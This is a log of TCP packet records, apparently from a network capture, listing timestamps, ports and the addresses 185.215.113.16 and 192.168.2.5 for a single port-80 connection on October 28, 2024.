Oct 28, 2024 20:50:27.604428053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604434967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604434967 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604460001 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604494095 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604526997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604559898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604566097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604566097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604593992 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604626894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604660034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604692936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604701996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604701996 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604726076 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604758978 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604792118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604832888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604832888 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.604840994 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604890108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604923964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.604957104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605010986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605050087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605076075 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605076075 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605083942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605118036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605149984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605154991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605154991 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605182886 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605216026 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605249882 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605283022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605292082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605292082 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605333090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605366945 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605416059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605451107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605473042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605473042 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605484009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605520964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605570078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605602980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605638027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605642080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605642080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605671883 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605705023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605737925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605771065 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605777979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605777979 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605807066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605840921 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605874062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605912924 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605912924 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.605914116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605948925 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605981112 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.605983019 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606014967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606046915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606081009 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606084108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606084108 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606115103 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606167078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606215954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606249094 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606287956 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606287956 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606300116 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606333971 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606365919 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606367111 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606415987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606466055 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606498957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606504917 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606504917 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606533051 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606566906 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606600046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606632948 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606666088 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606677055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606677055 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606699944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606733084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606772900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606775999 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606807947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606838942 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606842995 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606875896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606911898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606944084 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.606951952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606951952 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.606981993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607014894 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607022047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607048988 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607083082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607115984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607120037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607120037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607150078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607182980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607214928 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607249022 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607253075 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607253075 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607281923 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607331991 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607366085 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607399940 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607404947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607404947 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607434034 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607467890 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607506037 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607539892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607547045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607547045 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607573986 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607606888 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607640028 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607671976 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607682943 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607682943 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607706070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607738972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607773066 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607805014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607816935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607816935 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607839108 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607872963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607907057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607940912 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.607949018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607949018 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.607975960 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608010054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608042002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608074903 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608082056 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608082056 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608108044 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608144045 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608177900 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608211040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608217955 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608217955 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608243942 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608277082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608309984 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608344078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608350039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608350039 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608377934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608412027 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608443975 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608478069 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608489990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608489990 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.608514071 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.608549118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.609249115 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.610980034 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614213943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614264965 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614279985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614320040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614336014 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614342928 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614342928 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614355087 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614382029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614398003 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614413977 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614428997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614434958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614434958 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614541054 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614557981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614573956 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614592075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614593983 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614593983 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614610910 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614619017 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614639997 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614665985 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614681005 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614696980 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614701033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614701033 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614712954 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614738941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614754915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614769936 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614770889 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614770889 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614787102 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614810944 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614825964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614842892 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614845037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614845037 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614859104 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614875078 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614892006 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614908934 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.614927053 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.614927053 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.615047932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616485119 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616672993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616688013 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616703987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616727114 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616741896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616756916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616759062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616759062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616776943 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616781950 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616794109 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616810083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616835117 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616844893 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616844893 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616851091 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616868019 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616883993 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616899967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616916895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616924047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616924047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616933107 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616950035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616970062 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616985083 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.616993904 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.616993904 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617001057 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617017031 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617031097 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617048025 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617063046 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617064953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617064953 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617079973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617104053 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617115974 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617115974 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617120981 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617136002 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617155075 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617171049 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617187023 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617201090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617213011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617213011 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617217064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617233038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617257118 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617273092 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617288113 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617301941 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617305994 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617305994 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617320061 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617335081 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617350101 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617356062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617356062 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617367029 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617382050 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617397070 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617412090 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617417097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617417097 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617429972 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617445946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617460966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617466927 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617480040 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617496967 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617513895 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617525101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617525101 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617528915 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617546082 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617562056 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617579937 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617594957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617594957 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617786884 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617851973 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617867947 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617896080 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617935896 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617950916 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617969036 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.617973089 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617973089 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.617985964 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618042946 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618057966 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618072987 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618082047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618082047 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618088961 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618104935 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618129969 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618139982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618139982 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618144035 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618160963 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618175983 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618191957 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618207932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618208885 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618207932 CET	52257	80	192.168.2.5	185.215.113.16
Oct 28, 2024 20:50:27.618377924 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618393898 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618411064 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618427038 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618442059 CET	80	52257	185.215.113.16	192.168.2.5
Oct 28, 2024 20:50:27.618459940 CET	80	52257	185.215.113.16	192.168.2.5
